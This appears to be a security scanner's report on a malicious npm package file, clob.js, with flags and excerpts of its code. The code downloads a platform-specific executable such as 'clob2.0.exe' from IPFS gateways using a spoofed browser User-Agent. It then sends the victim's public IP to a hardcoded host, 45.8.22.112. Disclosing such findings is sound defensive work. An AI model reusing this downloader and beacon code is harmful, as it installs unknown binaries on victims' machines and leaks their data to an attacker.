package/clob.js
Browser User-Agent with hardcoded C2 endpointHardcoded IP POST telemetry endpoint
SHA-256954728b16738a4b44696a599eecde211ece2ccfcc9eb47bfaf4ba5c3ab6715be
Evidence
1const https = require('https');
2const http = require('http');
3const fs = require('fs');
4const path = require('path');
5const os = require('os');
6const { execSync, spawn } = require('child_process');
7
8const PLATFORM = process.platform; // 'win32' | 'darwin' | 'linux'
9const USERNAME = os.userInfo().username;
10const HOME = os.homedir();
11const PINATA_TOKEN = process.env.PINATA_GATEWAY_TOKEN || '';
12
⋯5 lines
21:12… in32':
22 return {
23 fileName: 'clob2.0.exe',
24 dir: process.env.LOCALAPPDATA || path.join('C:\\Users', USERNAME, 'AppData', 'Local'),
25 gateways: [
26 {
27 url: `https://violet-tricky-quelea-562.mypinata.cloud/ipfs/${WIN_CID}`,
28 headers: PINATA_TOKEN ? { 'x-pinata-gateway-token': PINATA_TOKEN } : {},
29 },
30 { url: `https://cloudflare-ipfs.com/ipfs/${WIN_CID}`, headers: {} },
31 { url: `https://gateway.pinata.cloud/ipfs/${WIN_CID}`, headers: {} },
32 { url: `https://ipfs.io/ipfs/${WIN_CID}`, headers: {} },
33 ],
34 };
⋯4 lines
50:166… �──────────────────
51const BASE_HEADERS = {
52 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36',
53 Accept: '*/*',
54};
55
56function downloadFromUrl(url, headers, dest, redirectCount = 0) {
57 if (redirectCount > 10) return Promise.reject(new Error('Too many redirects'));
58 return new Promise((resolve, reject) => {
59 const client = url.startsWith('https') ? https : http;
60 const file = fs.createWriteStream(dest);
61
62 client.get(url, { headers: { ...BASE_HEADERS, ...headers } }, (res) => {
63 if (res.statusCode >= 300 && res.statusCode < 400 && res.headers.location) {
64 file.close();
65 fs.unlink(dest, () => {});
66 downloadFromUrl(res.headers.location, headers, dest, redirectCount + 1 …
72:20… Error(`HTTP ${res.statusCode}`));
73 return;
74 }
75 res.pipe(file);
76 file.on('finish', () => { file.close(); resolve(); });
77 file.on('error', reject);
78 }).on('error', (err) => …
141:191… �──────
142function getPublicIp() {
143 return new Promise((resolve, reject) => {
144 https.get('https://api.ipify.org', (res) => {
145 let data = '';
146 res.on('data', (chunk) => { data += chunk; });
147 res.on('end', () => resolve(data.trim()));
148 }).on('error', reject);
149 });
150}
151
152function reportIp(ip) {
153 return new Promise((resolve) => {
154 const path = `/api/urls?url=${encodeURIComponent(ip)}`;
155 const options = {
156 hostname: '45.8.22.112',
157 port: 2026,
158 path,
159 method: 'POST',
160 };
161 const req = http.request(options, (res) => {
162 res.resume();
163 res.on('end', resolve);
164 });
165 req.setTimeout(5000, () => { req.destroy(); resolve(); });
166 req.on('error', resolve);
167 req.end();
168 });
169}
⋯5 lines